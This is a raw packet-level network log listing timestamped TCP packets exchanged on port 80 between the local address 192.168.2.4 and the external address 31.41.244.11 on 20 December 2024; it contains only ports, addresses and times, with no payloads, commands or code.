Dec 20, 2024 11:12:13.274283886 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.275180101 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.275230885 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.275295973 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.275345087 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.276247978 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.276299000 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.276365995 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.276412964 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.277350903 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.277400017 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.277616024 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.277662992 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.278476954 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.278525114 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.278578043 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.278623104 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.279505014 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.279552937 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.279618979 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.279666901 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.280657053 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.280694962 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.280715942 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.280744076 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.281680107 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.281729937 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.281794071 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.281841040 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.282774925 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.282821894 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.282902956 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.282952070 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.283951998 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.284001112 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.284006119 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.284050941 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.284972906 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.285024881 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.285090923 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.285149097 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.286063910 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.286118031 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.286183119 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.286232948 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.287111998 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.287167072 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.287233114 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.287276983 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.288228035 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.288281918 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.288346052 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.288393021 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.289402962 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.289449930 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.289516926 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.289560080 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.290364981 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.290410995 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.290476084 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.290518999 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.291451931 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.291497946 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.291579962 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.291621923 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.292581081 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.292627096 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.292635918 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.292679071 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.293625116 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.293670893 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.293735981 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.293780088 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.294747114 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.294790983 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.294856071 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.294899940 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.295833111 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.295886993 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.296212912 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.296257019 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.296878099 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.296927929 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.296993971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.297044992 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.298033953 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.298082113 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.298252106 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.298320055 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.299066067 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.299115896 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.299180031 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.299227953 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.300174952 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.300223112 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.300271034 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.300318956 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.301301956 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.301356077 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.301376104 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.301426888 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.302330017 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.302377939 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.302458048 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.302505970 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.303436041 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.303489923 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.303613901 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.303658962 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.304512978 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.304568052 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.304629087 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.304682970 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.305607080 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.305654049 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.305660009 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.305740118 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.306682110 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.306730986 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.306796074 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.306847095 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.307765007 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.307818890 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.307889938 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.307940006 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.308845043 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.308898926 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.308964968 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.309016943 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.309937000 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.309994936 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.310112953 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.310169935 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.311038971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.311089993 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.311131001 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.311181068 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.312203884 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.312254906 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.312395096 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.312441111 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.313225985 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.313277006 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.313342094 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.313386917 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.314326048 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.314378977 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.314440966 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.314492941 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.315373898 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.315428019 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.315493107 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.315540075 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.316459894 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.316513062 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.316581964 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.316631079 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.317557096 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.317610025 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.317625046 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.317652941 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.318648100 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.318706989 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.318763018 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.318818092 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.319725990 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.319777966 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.319859028 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.319911957 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.320825100 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.320878029 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.320945978 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.320992947 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.322017908 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.322071075 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.322072029 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.322120905 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.323000908 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.323117971 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.323131084 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.323179960 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.324105978 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.324161053 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.324311972 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.324354887 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.325148106 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.325197935 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.325278044 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.325328112 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.326246023 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.326309919 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.326378107 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.326430082 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.327282906 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.327353954 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.462554932 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.462635040 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.462760925 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.462814093 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.463010073 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.463056087 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.463068008 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.463115931 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.464149952 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.464209080 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.464236975 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.464284897 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.465285063 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.465342045 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.465372086 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.465419054 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.466332912 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.466394901 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.466423035 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.466470957 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.467478991 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.467542887 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.467611074 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.467658043 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.468810081 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.468867064 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.468897104 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.468943119 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.469789028 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.469844103 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.469847918 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.469891071 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.470666885 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.470720053 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.470725060 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.470772028 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.471704006 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.471752882 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.471888065 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.471936941 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.472865105 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.472903013 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.472915888 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.472948074 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.473896027 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.473957062 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.474020958 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.474070072 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.474967957 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.475017071 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.475097895 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.475142002 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.476033926 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.476082087 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.476150036 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.476196051 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.477155924 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.477195024 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.477221012 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.477263927 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.478199005 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.478247881 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.478312969 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.478362083 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.479346991 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.479391098 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.479441881 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.479489088 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.480392933 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.480443954 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.480508089 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.480561018 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.481475115 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.481524944 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.481569052 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.481615067 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.482568979 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.482618093 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.482682943 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.482728958 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.483669043 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.483719110 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.483724117 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.483771086 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.484801054 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.484850883 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.484855890 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.484900951 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.485944986 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.485980988 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.485995054 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.486027002 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.486906052 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.486958027 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.487021923 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.487071037 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.488012075 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.488063097 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.488128901 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.488177061 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.489090919 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.489140987 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.489207029 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.489254951 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.490155935 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.490205050 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.490267992 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.490317106 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.491344929 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.491394043 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.491473913 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.491519928 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.492503881 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.492552996 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.492640972 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.492688894 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.493664980 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.493715048 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.493719101 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.493761063 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.494535923 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.494585991 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.494590044 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.494637012 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.495615005 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.495671988 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.495742083 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.495789051 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.496707916 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.496756077 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.496818066 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.496864080 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.497780085 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.497824907 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.497891903 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.497937918 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.498864889 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.498913050 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.498979092 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.499025106 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.499963999 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.500014067 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.500077009 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.500123978 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.501060009 CET	80	49768	31.41.244.11	192.168.2.4
